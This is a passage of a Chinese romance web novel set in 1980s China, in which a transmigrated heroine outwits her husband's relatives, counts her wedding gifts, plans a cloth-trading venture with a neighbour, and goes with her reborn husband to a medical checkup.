柳绵绵看向她:“你今年高二吧,离毕业还有一年多呢,毕业生的世界你确实不懂。好比,我就敢说,我要是去考试,肯定能考上大学。” 她问沈菲菲:“你敢说吗?” 原书里,沈菲菲这个原男主的亲妹妹,可是个拖后腿的角色,高考落榜,做生意亏钱,嫁人还嫁了个搞七捻三的暴发户,让原男主非常的头疼。 果然,沈菲菲嗫嚅了下,没敢说自己肯定能考上。 柳绵绵:KO。 沈文山微微皱了皱眉,对这个牙尖嘴利、毫无分寸的侄媳十分不喜。他想了想,开口说:“小柳说行行出状元,这话我是认同的,既然不准备考大学,那就好好找个工作吧。要是有什么需要帮忙的,尽管跟家里说。” 这两口子还挺有意思的,两个人说话都是绵里藏针的风格,邬淑华讽刺她高中生班门弄斧,沈文山敲打她以后找工作甚至升职加薪没准还得靠着这边的关系。 柳绵绵笑眯眯:“已经找到工作了,港商投资的西餐厅,事少钱多离家近,暂时不需要帮忙。” 沈老爷子惊讶道:“已经找到工作了?原先你们爸妈是说,让你结婚后先在家休息适应一阵子。不过也好,咱们劳动人民,懒惰要不得,还是要劳动。” 沈菲菲幸灾乐祸:“西餐厅,不会是端盘子的吧?” 柳绵绵看她一眼,摇摇头:“沈菲菲同学,你这语气可不太对。老爷子都说了,咱们是劳动人民,端盘子的也是劳动人民,工作没有贵贱之分,你怎么好像还看不起呢?” 沈文山忙说:“菲菲不是这个意思,她大概是担心你端盘子辛苦,工资又不高。” 柳绵绵点点头,一脸“虽然你在胡说八道,但我好心不拆穿你”的表情,笑眯眯说:“其实我们餐厅端盘子工资也不低的,不过我会弹钢琴嘛,就去做了钢琴师,每天上班五小时,不辛苦的,工资一个月三四百吧,还行,不算太低。” 工资还没过百的沈文山:“……” 沈老爷子笑呵呵道:“绵绵看来还是个多才多艺的。”话锋一转,他又叹息道:“内地和港城经济差距不小啊,月工资三四百在南城已经高过大部分人了,可实际上,港城人均工资已经两千多。内地底子弱,人口多,解决这么多人的吃饭问题就已经很难了,发展经济,更是难上加难。” 老爷子皱着眉头,手指扣在沙发扶手上,一下,一下,声音异常沉闷。 柳绵绵知道他还有一句话没说,下个月百万裁军就将开始,未来几年就业问题只会更加突出。 “这几年经济发展的成绩有目共睹,以后只会越来越好。”柳绵绵宽慰道,“咱们是劳动人民嘛,劳动人民不怕困难,先迎头赶上,再伺机超越!” 沈老爷子哈哈大笑:“你说得对,劳动人民不怕困难,先迎头赶上,再伺机超越!只要你们年轻人都有这份儿心气,何愁国家发展不好!好,好,好啊!” 沈老爷子连说三个好,又道:“你是个好孩子!” 沈文山和邬淑华对视一眼,脸色都分外难看。 本想给人个下马威,哪知道节节失利,反倒让她入了老爷子的眼。 老爷子向来对小辈要求高,除了沈维舟,还从没见他对家里其他小辈这么夸奖过。 真是偷鸡不着蚀把米。 坐着休息了会儿,沈维舟分外苍白的脸色稍稍回复了一点血色,柳绵绵拍着他的背“嘀咕”:“看看,人少了,细菌啊病毒啊也少了,这不就好多了嘛,有些人啊就是死鸭子嘴硬啰。”声音大得,门外的野猫估计都能听见。 沈文山、邬淑华、沈菲菲:“……” 坚决闭嘴不接话茬,谁知道她后面还有什么话等着。 沈维舟看柳绵绵一眼,说:“我好多了,不用拍了。” 换了上辈子的身体,她这么拍,他怕是要被拍散架了。 和他对上视线的柳绵绵:“……好。”趁机报仇被发现什么的,只要脸皮够厚,就可以当没有这回事。 大概是柳绵绵一个不落,把每个人都怼了一遍,等到开饭的时候,再没人出什么幺蛾子,大家都安安静静地吃饭。 吃完饭后,几个长辈给他们新婚小夫妻派了红包,沈老爷子除了给了个特别厚实的红包外,还交给柳绵绵一个书本大小的木匣子。 柳绵绵收红包收得眉开眼笑,嘴都变甜了不少,离开时笑眯眯和大家告别,表示今天非常愉快,下回有时间还要再来。 “……” 除沈老爷子以外的人听见这句话,表情都差点绷不住。 你是愉快了,别人可不愉快。 “徐蕙兰真是聪明一世糊涂一时,给孙子定了这样的娃娃亲,漂亮倒是漂亮,可牙尖嘴利,尖酸刻薄,哪里是什么好的?”方美云低声道。 “妈!”沈文山回头看屋里。 方美云摇头:“怕什么,你爸爸看到大孙子大孙媳已经心满意足,这时候早回去躺下午睡了。” “听说江家那个从港城回来了,得知沈维舟结婚,当晚就躲屋里大哭了一场。”邬淑华说着听来的消息,感叹,“她倒是对沈维舟一往情深。比较起来,她和那个柳绵绵,可真是云泥之别了。” 沈文山嗤笑了声:“牙尖嘴利有什么用,行事说话只顾着自己高兴,以后能有多大出息?不是一个圈子里的人,不用在意。”沈维舟要是病死了,9号院那一房也算完了。 被柳绵绵驳了面子,固然是不高兴的,不过沈文山又觉得,9号院那边娶了这样一个人进门,其实对他们来说是个好消息。 三个长辈聊着天,没有人注意到,当他们说到“江家那个人”对沈维舟一往情深时,沈维鸿的脸色有多难看。 在其他人都回房后,沈维鸿叫住了沈文山:“爸,我想问你一件事。” 沈文山顿住脚步:“嗯?” 沈维鸿犹豫了下,说:“我记得您有战友在化肥厂工作?我朋友需要一批化肥,想找找关系。” 沈文山皱眉:“你哪来的需要化肥的朋友?” 沈维鸿挠挠头,笑道:“其实是我同学,他们乡里买不到化肥,老乡打电话到学校求助,也是病急乱投医了。” 沈文山面色稍缓,沉吟了下,说:“既然是这样,明天我给老周打个电话,回头你们自己过去找他。” 沈维鸿高兴道:“哎,好的爸,谢谢爸!” 沈文山欣慰点头,叮嘱:“这些都是小事,心思还是要多花在学业上。” 沈维鸿眼神微闪,点头应是。 * 回去的路上,沈维云一直在偷看后视镜。只是这一次并不是为了观察哥嫂的相处情况,而是单纯地观察柳绵绵。 沈维云早知道,这个女人脾气不好,说话又冲又毒,简直能把人气死。而事实上,她在家怼人的时候,确实是能把人气得吐血,可她出了家门怼别人,尤其是怼那些自己也不喜欢的人时,看着真的是好解气啊! 恨不得让她那张毒嘴长到自己身上的解气。 甚至感觉她这个人似乎都没有那么讨厌了。 那些话她到底是怎么想出来的,让哥哥学方女士炮弹打到家门口也要好好在家待着,说沈维鸿不注意个人卫生身上都是细菌和病毒,问沈菲菲敢说自己肯定能考上大学吗,在小叔小婶讽刺她的时候,也是四两拨千斤地怼了回去……从小到大,她还是第一次看到那一家人那么狼狈。 天知道她为了不笑出来,把自己掌心都快掐红了。 其实现在回想,沈维云都还很想笑,只是她怕自己真笑了,车里其他三人会以为她疯了。 沈维云又偷看了一眼,心说这个女人刚才还那么维护她哥呢,一直对她哥嘘寒问暖的,两个人感情很好的样子,怎么一上车,就坐得离她哥八百米远,一副井水不犯河水的样子? 也就是柳绵绵听不到她的心声,不然肯定要说一句“刚才那是演戏,演完了再理他我就是狗”。 沈维云憋了一路,回到求知巷后,立马飞奔着冲进院子,把坐在石榴树下看书的俞婉拉起来:“妈,咱们进屋,咱们进屋。” 俞婉莫名其妙:“怎么了?” 沈维云一路将人拉进正房卧室:“妈,你知道那个女人,行行行,我知道了,不是那个女人,是大嫂,你知道大嫂今天在那边都干了什么吗?” “干什么了?” “我们一坐下,爷爷就提起哥哥结婚那天的事,然后那个方女士就说……然后大嫂就说……再后来大嫂又说……” 巴拉巴拉巴拉。 正房卧室里不时传出惊讶的低呼和咯咯咯的笑声。 不知道自己的“光辉事迹”已经被第一时间传播的柳绵绵,进院子后的第一件事就是拽着她的小挎包进屋数钱。 沈文山、邬淑华夫妻俩给的红包是六十六元。沈维舟那里也收了一个,两个红包就有一百多了。嗯,不错不错,差不多抵得上沈文山一个月的工资加津贴了吧?这夫妻俩讨厌归讨厌,倒是不小气。 方美云的红包也是六十六元。 看来这娘儿仨是通过气的。 老爷子的红包最厚,足足三百元,相当大气了。 还有那个小木匣子,放在挎包里,柳绵绵一直抓心挠肝地,好奇里面装了什么,只是之前一直没机会打开。 现在终于打开。 哦哟! 柳绵绵顿时喜笑颜开。 老爷子也是个实在人呐! 一匣子的金首饰,金手镯金项链金耳环金戒指什么的。 这一趟出去,收获现金四百三十二元,金银首饰若干,值回票价了。 沈维舟进门时,看见的就是这么一副景象。 某个不久前还在老爷子那边“大杀四方”的人,捧着几个红包和一小匣子金首饰,乐得见牙不见眼,活像找到一堆榛子的小松鼠。 他将三个红包放在写字台上,说:“这些你也收起来吧。” 柳绵绵眼都没抬,说:“管好你自己的。” 沈维舟:“……” 这人气性还挺大。 他没再说什么,拿了毛巾进卫生间洗漱。 柳绵绵喜滋滋地又点了一遍钱,才把红包和木匣都收起来放好。想着自己手头现在已经有两千多块钱,就这么放着肯定不合适,得想办法钱生钱,或者是买点能升值的东西。 慢慢来吧。 累了半天,柳绵绵决定还是先歇会儿。她把屋里的躺椅又给搬了出去,放到石榴树下,和俞婉的椅子并排,然后往上面一躺,惬意地闭上了眼睛。 沈维舟洗漱完出来没看见柳绵绵,他下意识看向写字台,三个红包仍旧在写字台上,连摆放的角度都没有变过。 他忽然想到,回门那天她嘀咕过一句“有些人就是对别人的钱太有占有欲,这是病,得治”。 她是喜欢钱。 可她只喜欢自己的钱。 这是柳绵绵吗? 这段时间以来,这个问题几乎每一天都会出现在沈维舟的脑海中:这是柳绵绵吗? 终于,他给了自己一个早已昭然若揭的答案。 这不可能是柳绵绵。 柳绵绵不会说行行出状元,更不会说工作没有贵贱之分,她看不起底层劳动者,一心只想过上有钱的“好日子”。 柳绵绵也不会说“咱们是劳动人民”,她厌恶农村的养父母,不比厌恶他这个“痨病鬼”丈夫少。 沈维舟站在窗前,看着窗外在石榴树下惬意睡觉的人。阳光透过枝叶的缝隙洒落在她身上,明明是那个人,又好像已经完全是另外一个人了。 只是,如果她不是柳绵绵,她又是谁? 第18章 没有最丢脸,只有更丢脸…… 一觉醒来,身上盖了一条薄毯,柳绵绵去厨房和刘婶道谢,结果刘婶眨眨眼,一脸暧昧地说:“是维舟给你盖的。” 柳绵绵嘀咕:“管好你自己,管别人做什么,多管闲事……” 刺啦刺啦的炒菜声中,刘婶没听清,奇怪回头:“管什么?” 柳绵绵:“管中窥豹,可见一斑。” 刘婶表示听不懂,挥挥手赶人:“快出去快出去,都是油烟。要是饿了就先去喝点鸡汤,碗筷都放桌上了。” 吃晚饭时,王叔笑呵呵问:“听说老爷子夸小柳了?老爷子那性格,一向对人对己都要求严格,可不轻易夸人的哦。”王叔原先在沈老爷子底下当过兵。 柳绵绵忍不住吐槽:“似乎也没多严格,孙子不讲卫生,孙女不学无术,也没见他好好管管。”隔代亲嘛,老爷子这样英明神武的老将军也不能免俗。 沈伯康被鸡汤呛了一下,表情复杂地看了柳绵绵一眼。 沈菲菲学习一般,心思都在别的上面,要说不学无术,也不算太冤枉她。沈维鸿这个不讲卫生的帽子却纯纯是被硬扣上去的。 家里几人已经知道柳绵绵在“那边”都干了些什么,听她这么说,无语之余又忍不住失笑。 看他们这样,柳绵绵猜到自己的“光辉事迹”估计已经广为流传,她看一眼有些心虚的沈维云,理直气壮说:“早说过了,我这个人不会客气的嘛。” 俞婉笑着说:“是的是的,早说了,有事你们爸爸顶着呢。” 沈伯康无奈看妻子一眼,不过还是点点头:“嗯,有什么事你就告诉我,我去跟老头子说道。” 不是说,是说道。 摆明了护短。 (′з(′ω‘*)轻(灬ε灬)吻(ω)最(* ̄3 ̄)╭甜(ε)∫羽(-_-)ε`*)毛(*≧з)(ε≦*)整(* ̄3)(ε ̄*)理(ˊˋ*) 柳绵绵再次感叹,便宜公公婆婆真好啊! 刘婶和王叔人也很好。 沈维云这小姑娘虽然别别扭扭的,但其实也还不错,很能审时度势,在“那边”的时候都没怎么吭声,也没拆她的台。反正比沈菲菲可爱多了。 沈维舟……就算了,不作评价。 俞婉扭头打量沈维舟两眼,问:“这个月的例行检查是不是还没有去?” 沈维舟夹菜的手一顿,随即点点头:“嗯,过两天空一点就去。” “研究所那边还要忙吗,再忙也得抽时间去一趟。”俞婉看一眼柳绵绵,试探地问,“绵绵有空的话,能不能陪维舟去一趟医院?如果抽不出空也没关系,我到时候请个假陪他去。” 柳绵绵没拒绝,爽快点头:“我有空的,我陪他去好了。”每次便宜婆婆这么小心翼翼地和她说话,柳绵绵都一阵心虚和羞愧,恨不得她说什么都答应下来。 再说家里除了刘婶,也的确是她最闲,毕竟上班时间只有五小时。 俞婉很高兴:“那就麻烦绵绵了。” 这话让柳绵绵有种沈维舟不是二十六岁而是六岁的错觉。 正好沈维舟向她看过来,柳绵绵冲他轻轻挑了一下眉:小朋友,过几天姐姐带你去医院。这么一想,柳绵绵顿时乐了,笑得眉眼弯弯。 沈维舟一怔,想开口说什么,就见她又翻了个白眼,扭头认认真真吃饭去了。 好吧。 气性真不是一般大。 吃完饭柳绵绵和刘婶一起坐在院子里闲磕牙。 刘婶煮了盐水花生,王叔趁刘婶没注意,悄悄在搪瓷杯里倒了酒,吃几颗花生,喝一口酒,还要说一句这花生挺入味。柳绵绵要不是坐得离他近,闻见了酒味,都要以为他是咸了要喝水呢。 刘婶说起在外当兵的两个儿子。老大比沈维舟还大两岁,已经是副营长了,就是个人问题还没解决,都快成老光棍了。 老二年纪轻,当兵时间也短,除了脾气有点毛躁,倒是没什么好担心的。 柳绵绵想到即将到来的百万裁军,试探地问:“我看报纸,这几年军队一直在精简整编,领导人也说,要减少军费开支,加强国家基础建设,这应该是大趋势了。他们有没有考虑过转业的问题?” 刘婶表情茫然,王叔插话说:“传是这么传,也有人说,接下去几年转业的人会更多。” “如果这样的话,晚转业倒是不如早转业了。”柳绵绵提醒了一句。 王叔若有所思地点头,举着搪瓷杯又喝了一口,咂了咂嘴。 刘婶敏锐地察觉到不对:“你杯子里的是什么?” 王叔一激灵,马上说:“水啊,还能是什么,你这花生太咸了,我喝口水,哎,哎哎,你抢什么……” 刘婶趁他没反应过来,已经把杯子夺过去了,然后就是一阵鸡飞狗跳。 柳绵绵看了一出好戏,心满意足地回东厢。 一进屋,就见床外侧一个非常熟悉、好一阵没见过的、毛毛虫形状的大鼓包。 沈维舟今天居然这么早就睡了。 洗漱完回来,柳绵绵先观察了一下,确定沈维舟一动不动,多半已经睡着了,于是打消了让他让一让的念头,认命地蹭着床角准备翻山越岭。 结果就在她一脚踩下去的时候,沈维舟突然弯了下腿,脚下踩着的被子,随着他的动作拉扯挪动,柳绵绵站立不稳,一屁股墩儿坐了下去。 嘭地一下。 沈维舟坐了起来,两人的视线在半空中交汇,柳绵绵狠狠瞪了他一眼,沈维舟解释说:“我想给你腾点位置,方便你进去。” 柳绵绵恨恨说:“管好你自己。” 嘴上放了狠话,身体却还是得四肢并用地往里爬。 而沈维舟这个不要脸的,他居然还笑了! 柳绵绵保持四肢落“床”的姿势,难以置信地扭头看向沈维舟。她怀疑自己听错了,毕竟穿过来这么久,她就几乎没见沈维舟笑过。 然而事实是沈维舟确实在笑。 本来就长得好看,这一笑,甚至让人有一种冰消雪融万物复苏的错觉。 柳绵绵晃了一下神,不知道是被尴尬、恼羞成怒还是别的什么情绪驱使,脑子一抽,一转身就朝沈维舟扑了过去。 上辈子上学的时候,室友们在寝室里闹起来,就是这样的。往谁都床铺上一扑,把人压住,挠痒痒挠到对告饶为止。 行动快过脑子,柳绵绵也是扑过去以后,才反应过来,虽然都是室友,可眼前这个室友和上辈子的室友根本不是一个性质啊! 沈维舟也完全没想到柳绵绵会是这么个反应。 她说“管好你自己”,他是猜到了的。 但他没想到,她能气愤到完全不顾时间地点场合……要不是他也被惊得愣了一下,她估计能被他一巴掌拍飞到墙上。 沈维舟努力克制住了异世养成的条件反射,可同时也完全不知道自己该作什么样的反应,躲开她,推开她,接住她? 没等沈维舟作出决定,柳绵绵已经啪叽跪在了他的面前。 “……” 判断失误,忘记刚才他收了腿,一大片被子底下都是空的。 两人面面相觑,一丝无言的尴尬在静默的空气中浮动。 沈维舟垂下视线,很快又挪开视线,不太自在地清了清嗓子,说:“倒也不用行此大礼。” 柳绵绵下意识顺着他的视线看了眼,看到因为此刻的姿势而微敞的领口,她反应过来,脸噌一下就红了。 没有最丢脸,只有更丢脸。 可能是因为实在太丢脸了,负负得正,柳绵绵忽然又觉得,其实也没什么。 不就是脑抽做了个无厘头的动作。 不就是不小心走了点光。 只要我不尴尬,尴尬的就是别人。 柳绵绵抬起手,若无其事拍了拍沈维舟的被子,挽尊道:“我看看你被子够不够暖,回头感冒了你妈又要操心。” 表面看着非常淡定,但说完后马上手脚并用飞快地挪到自己那一半床位。抖开被子、钻进被窝、转身面向墙壁,一套动作衔接得毫无缝隙,几乎是沈维舟微一愣神的工夫,就只能看见她裹着被子的背影了。 “……” 沈维舟莫名想笑。 不过他忍住了,因为他预感,这个时候他要是敢笑出声,她很可能会掀开被子再次扑过来,直接跟他同归于尽。 重新躺下,沈维舟伸手拉了下床头的灯绳,啪的一声,灯灭了,整个屋子陷入黑暗。 沈维舟睁着眼睛,看着黑暗中的虚空,很快,眼睛适应了黑暗,盯着夜色中变得影影绰绰的天花板,沈维舟意识渐渐模糊,陷入沉睡。 第二天早晨醒过来的时候,沈维舟甚至想不起来自己是怎么睡着的。 重生以来,他第一次这么快速地进入睡眠,并且梦中没有浓稠到让人心惊的鲜血,也没有丧尸,没有怪物。 接下去几天,柳绵绵继续按部就班上班,沈维舟则维持隔天去一次研究所的频率。 不去研究所的那一天,沈维舟也会把自己关在书房里。据刘婶说,他每天就是写写画画一些别人根本看不懂的东西。 期间柳绵绵追问过他,什么时候去医院检查,沈维舟总能找到各种各样的借口推脱。 柳绵绵悄悄观察了一阵儿,觉得他要么就是身体确实没什么问题,不着急去医院,要么就是已经油尽灯枯马上就要驾鹤西去了,争分夺秒想把手头的东西研究出来。 到底是哪一种还真不好说。 看他本人的样子,像是第一种,可联系原书剧情,又感觉像第二种。 反正他自己不愿意去医院,柳绵绵也不可能拉着他去,只能偷偷跟刘婶告状,让长辈去给他念念“紧箍咒”。 * “上次那个街道办的,昨天又来咱们餐厅相亲了,哦哟,这次的女同志还是芷江小学的老师呢,蛮漂亮的一个女孩子,就是性格软了点,都被气哭了。” “你们知道每次过来都坐八号桌,穿西装戴领带点餐还要把手表露出来的男人是什么来头么?原来他是化肥厂销售科的科长哦!听说最近化肥很难买的,化肥厂门口每天排队排得老长老长的,那些人为了买到化肥,只能请那个科长来我们这里吃饭啰。” “工人路开了一家美好服装店,店里的衣服都是广市过来的,有些还是港城过来的,老洋气啰,等休息天要不要一起去看看哦?” …… 柳绵绵之前一直没在西餐厅吃过员工餐,后面和同事们混熟了,偶尔也会提前去餐厅,和大家一起吃点东西聊聊天。 就像今天,听着这些八卦当配菜,她吃得津津有味。 “对了,柳姐,昨天休班的时候,‘街道办’相亲的第一个姐姐过来找你,说让你有空就回一趟家属院,她有急事找你。”田苗苗想起来跟柳绵绵说。 “街道办”实在太奇葩,餐厅里的人对他印象非常深刻。偏偏他自己不觉景儿,次次相亲都要选在这个南城最洋气最贵的餐厅。完全不知道餐厅员工已经给他的相亲对象排出了一二三四五,称之为受难者一二三四五号。 “好的,知道了,谢谢啊苗苗。” 柳绵绵琢磨着自己和蒋红梅也不熟,有什么事能让蒋红梅跑那么老远过来找她? 晚上还要上班,下午跑一趟时间有点紧张,万一蒋红梅那边真有什么事情,也没有时间处理。 正好兼职的钢琴师周日有事,和她换了一天班,明天她不上班。 不过明天她还要陪沈维舟去一趟医院。自从她偷偷告状,长辈们天天催沈维舟,他估计也是熬不住了,终于决定明天就去医院检查。 晚上睡觉前,柳绵绵和沈维舟商量:“蒋红梅说有急事,也不知道是什么急事,要不我明天早上先去一下军工厂那边,回来再和你一起去医院?” 沈维舟靠在床头看书,闻言说:“我和你一起过去,军医院也在那个方向。” 柳绵绵轻轻揉着脸上的面霜,看他一米八几的大高个儿贴靠在墙边,总有种委委屈屈缩在那儿的感觉,忍不住偷偷弯了弯嘴角。 上次丢脸归丢脸,事后她趁机要求“调换床位”换到外侧,他二话没说就同意了。 从此她再不用发愁怎么“翻山越岭”回到自己的那一半床位。 而沈维舟大概是为了避免“翻山越岭”的窘况,每天早早洗漱上床,直接把睡前阅读从写字台那边搬到了床上。 每次看他不得不靠在床头看书,柳绵绵除了有那么一丁点鸠占鹊巢的不好意思外,更多的是一种隐秘的窃喜。 不过柳绵绵也说不上来,自己到底在窃喜些什么。 半天没听见她吭声,沈维舟抬头看她:“嗯?” 柳绵绵压了压翘起的嘴角,严肃点头:“行,就按你说的办。” 沈维舟视线在她嘴角一落,点点头:“那早点休息吧。”他收起书放到床前柜上,随后非常自觉地退回到自己那一半床位躺下。 看着他这极度自然的动作,柳绵绵不禁想,他们明明连手都没牵过,为什么却像明天就要过金婚纪念日似的,老夫老妻得这么自然? 不过,等第二天站在军工厂家属院楼下,眼看住三楼的老汪工程师被他爱人挥舞着扫把,从三楼追到一楼时,柳绵绵马上醒悟过来,觉得自己真是想多了。 看看,这才是真正快要过金婚的老夫老妻。 她和沈维舟顶多算相敬如宾的短期室友。 整栋楼的人都伸长了脖子在看热闹,蒋红梅也从二楼栏杆上探出头,看见柳绵绵和沈维舟,她马上喊了一声:“我现在就下来!” 小跑到楼底,蒋红梅示意柳绵绵跟着她走,一直把人带到楼后没人的空地上,蒋红梅才说:“你今天要是不来,我本来准备下午再去西餐厅找你的。” “大前天有个叫余国梁的过来找你,正好在家属院门口被我碰上了。他说是你乡下的哥哥,跟着乡里过来买化肥,顺便给你捎了点东西。还说之前家里给你寄了东西,也写了信,一直没收到你的回信。听说你结婚了,他很吃惊,说怎么也不给他们捎个信,喝喜酒还是其次,好歹也给添点嫁妆什么的。” 换了以前,蒋红梅不会管柳家这些事。 但上次柳绵绵帮了她,而且她觉得柳绵绵也并不像家属院里传的那样,更不像是那种有了城里当工人的亲生父母,就不认乡下种田养父母的人。 “余同志说他们每天要去化肥厂门口排队,没时间再过来,我反正闲着,就答应帮忙给你送个消息。”蒋红梅问柳绵绵,“这人是你哥吧?” 柳绵绵皱眉,点点头:“是。” 只是在原主的记忆里,养父母想让她去换亲,给儿子娶媳妇,从她回城以后,他们也没有联系过她,根本不管她死活。 第19章 雁过拔毛 蒋红梅打量柳绵绵几眼,双手抱臂,说:“你不会是嫌贫爱富,不想认乡下的草鞋亲吧?养恩可比生恩大,你看柳锦诗一直留在家属院,不也说的是父母养她这么多年,不能因为不是亲生,就不认父母了吗?” 说到柳锦诗,蒋红梅撇撇嘴:“不管她出于什么目的,至少道理是这样。” 柳绵绵无语:“你这人脾气怎么比我还冲?我还什么都没说呢,你就往我头上扣帽子呀?” 一旁的沈维舟撩起眼皮看了她一眼,心说原来知道自己脾气冲。 柳绵绵和蒋红梅解释说:“我只是觉得奇怪,离开村子的时候,我二婶偷偷同我说,家里想让我去换亲,给我小哥娶媳妇儿,我跟那边吵了一架才走的。来了南城以后,那边从来没跟我联系过,你说的寄东西写信,根本都没有的。” “竟然是这样的吗?”蒋红梅皱起眉,“可那位余国梁同志看起来也不像会撒谎的啊,而且他确实带了东西,说是要当面交给你。” 两人对视一眼,不约而同回头看了眼身后的家属楼二楼。 假如,这里面有什么误会,比如余家确实来过信,寄过东西,那么能让这些信和东西消失无踪的,最有可能的就柳家那几位了。 柳绵绵收回视线,深深看了眼蒋红梅。 柳家人其实还是很会做表面文章的,尤其丁明霞和柳锦诗,在家属院的口碑非常好,都是温柔亲切好脾气乐于助人的形象。 柳绵绵倒是有点意外,瞧蒋红梅这样子,似乎对柳家人也挺透过现象认识本质的? 既然知道人在化肥厂排队,那抽时间过去看看就行了。柳绵绵转而问蒋红梅:“今天不上班吗?” 别看家属楼里抻着脖子看热闹的人挺多,其实大部分都是不上班的老头老太和家庭妇女,年轻人还真不多。 要不是蒋红梅留了口信儿让她来家属院,柳绵绵没准就直接去服装厂找她了。她知道蒋红梅是服装厂的临时工。 蒋红梅说:“我把工作卖了,准备去摆摊卖衣服。” 柳绵绵对这个时代买卖工作的情况不太了解,好奇问:“临时工也能卖?” “一般情况当然不能,买我工作的那家人有点关系,先弄个临时工的名额,回头再想法子转正就行了。” 主要这几年就业形势实在严峻,尤其国营工厂,一个萝卜一个坑,哪怕是临时工,也很难安排。 那家人的目的也就是先弄个坑,后面才好运作。 “你货源从哪里弄?”柳绵绵又问。 蒋红梅笑了起来:“换个人,你要这么问,是要挨骂的知道吗?” 柳绵绵也笑了起来:“那我不是问你嘛。” 蒋红梅叹了口气:“临时工卖不了几个钱,只够我在服装厂弄点瑕疵品。” 要换了改开前,瑕疵品可是好东西,就算有钱,人家也不会给她。也就是改开后,物资丰富了,老百姓也注重穿衣打扮了,瑕疵品才不吃香了。 当然,要不是她在服装厂工作过,人缘儿还不错,也是拿不到的。 柳绵绵想了想,说:“我手头有点钱,咱们合伙儿怎么样?” 蒋红梅心说你哪里是有点钱,你那是有一大笔钱好吗,整个家属院儿谁不知道你拿了两千块彩礼啊! 柳绵绵分析给她听:“本地服装厂产能有限,而且当地的成本、物价在那里,你从本地服装厂拿货,利润不高的。广市的确良布两三块钱一米,拿回咱们这里能卖八到十块钱一米,算平均利润六块钱一米吧,两千块钱货能挣六千块钱。” “咱们那南城到广市的火车票价格是十七块五毛,来回三十五元,算上住宿吃饭,成本满打满算三百够了吧?一个人出门不安全,再找个人一起,两个人六百,那么能赚五千四。” 蒋红梅:“……” 她就是打听过,知道当个体户挣钱,才想卖了工作自己干的。但她打听的那些,都是在本地摆摊的,要么就是做吃食的,一个月大概能挣个几百吧。 当然,这也比上班拿工资好很多了。 现在柳绵绵叭叭叭这么一算,好家伙,一下子就能挣五六千?!虽说布料弄回来,也不是立马就能变成钱的,但是一千米布其实不多的,也就是几百件衬衫而已,蒋红梅自信一个月就能给卖掉。 只是,“你怎么知道广市的确良布才两三块钱一米?” 这年头敢千里迢迢跑到广市去进货的,那都是胆子大到没边儿的,一般人别说去广市了,就是出个县城都够呛。 柳绵绵淡定道:“我们餐厅有人说工人路开了一家美好服装店,店里的服装都是广市过来的,很洋气的,生意好得不得了。你知道的,我们老板和经理都是港城人,这种事情随便问问就知道了。” 其实是上辈子她了解过改开初期的经济贸易情况,看到有人举过这个例子,印象深刻。 蒋红梅将信将疑:“经理会跟你们说这些?那你们岂不是都要辞职自己做买卖?” 柳绵绵失笑:“做买卖要本金和胆量的呀。” 听说别人挣钱是一回事,自己去做是另外一回事。 就算餐厅的人都知道广市布料和服装成本低廉,可未必有人真正敢去做。真有这种胆量和魄力的,早去做个体户了。毕竟胆怯和渴求安定是天性,大部分人还是更愿意安安稳稳地过日子的。 “你可以先摆摊,熟悉熟悉市场,顺便积累一点本金,也趁机好好考虑一下我的提议。”话锋一转,柳绵绵笑呵呵地又说,“不过市场讯息万变,时间就是金钱,我要是看上别的项目,可能就会把钱拿去投别的了。” 蒋红梅翻个白眼,直接说:“可以合伙,也不用考虑了,你直接再给我点钱,我从厂里多拿点瑕疵品。我听说现在农村有很多集贸市场,集市的时候人可多了,瑕疵品在城里卖不出去,农村肯定能卖出去的。” 柳绵绵给她竖了个大拇指:“进一步活跃农村经济十项政策嘛,年初报纸上登过,农村是个潜力巨大的市场,蒋红梅同志,加油!” 蒋红梅柳眉一竖:“我加油,你做什么?” 柳绵绵理直气壮:“我出钱啊,偶尔空的时候,可以和你一起摆摆摊,不过主要还是靠你。要是都靠我,我找你合伙做什么,我自己就干了。” 蒋红梅:“……” 听上去十分有道理,她确实没办法反驳。 “行了,我们今天还有事,你回头上求知巷9号来找我,咱们再具体谈。” 柳绵绵说完就和沈维舟一起走了,脚步匆匆,看起来好像确实有什么急事。 蒋红梅站在原地看着他们走远的背影,心说这俩人看着其实还挺般配,都长得好,站在一起就和电影里的男女主角一样。 她其实还有点恍惚。 就是凑巧帮忙带个话,最后竟变成合伙做生意了? 不过,等回过神后,蒋红梅突然想起来,自己忘记了一件重要的事。 她本来是想提醒柳绵绵,最近朱永齐经常和一个虎背熊腰的人一起,那人看着不像什么好人。 算了,明天就去求知巷找她,到时候再和她说吧。 * “先去医院吧。”柳绵绵边走边说,“听说化肥厂门口每天都排长队,可实际上每天能买到化肥的就那么几个。很多人一排就是十天半个月的,前进乡的人应该没那么快回去。” 沈维舟点点头。 伸头一刀,缩头也是一刀,这个身体检查反正是躲不过去了。 其实沈维舟也有些好奇,生命值攒够后的身体,在面对医学仪器的检查时,会给出什么样的数据。 曾经并肩作战的系统虽然已经消失,但他重生回来之前,系统曾经说过,一切都不会有任何异常,让他安安心心地过普通人的日子就好。 沈维舟忽然回头看了眼。 就在刚才,他感受到一阵满怀恶意的窥视,而在回头的瞬间,他看到了两个试图隐蔽的身影。 异世生存的第一法则,就是让自己的身体成为武器。 虽然在异世时觉醒的异能消失了,但他的身体毫无疑问得到了强化,听觉、视力、力量……都远远高于这个世界的正常水平。 就好比,以正常人的反应速度,应该是来不及看清那两个人的身影的,但他却看清了。 其中一个人是朱永齐。 沈维舟曾经查过这个人的档案,对这张令人厌恶的脸印象很深。 “怎么了?”柳绵绵回过头。 沈维舟摇了摇头:“没什么,走吧。” 到了医院以后,沈维舟驾轻就熟地找到他的主治医生。是个头发花白的老爷子,姓白。白老爷子祖上是中医世家,他自己学的西医,算是中西医结合的圣手。 拧着眉头给沈维舟诊完脉,白老爷子啧了声,喃喃:“奇怪。” 柳绵绵被他啧得心惊肉跳,忍不住问:“怎么了?” 虽然她时不时会在心里调侃“临终关怀”,但好歹做了这么长时间“同床室友”,要是沈维舟真出什么事情,柳绵绵还是会难过的。 毕竟这是一个活生生的人,而不止是原书里那些冷冰冰的文字。 白老爷子摆摆手:“哎,你不要紧张,他没什么大问题,还是和以前一样,最需要关注的是心脏,注意多休息,不要太劳累,也不要受刺激。身体底子还是弱,不过好在与之前相比,有明显的好转。” 他认真端详沈维舟的脸色,点点头,肯定道:“确实比之前好了很多,脸色也好了。” 柳绵绵顿时松了口气,心说那你啧什么呀,啧得人家心惊胆战的。 “之前几年维舟的身体状况还是比较稳定的,底子差,但是也没有变得更差,当然,也没见变好。”白老爷子思索道,“我以为能一直保持住就很不错了,没想到这次竟然有了明显的变化。” 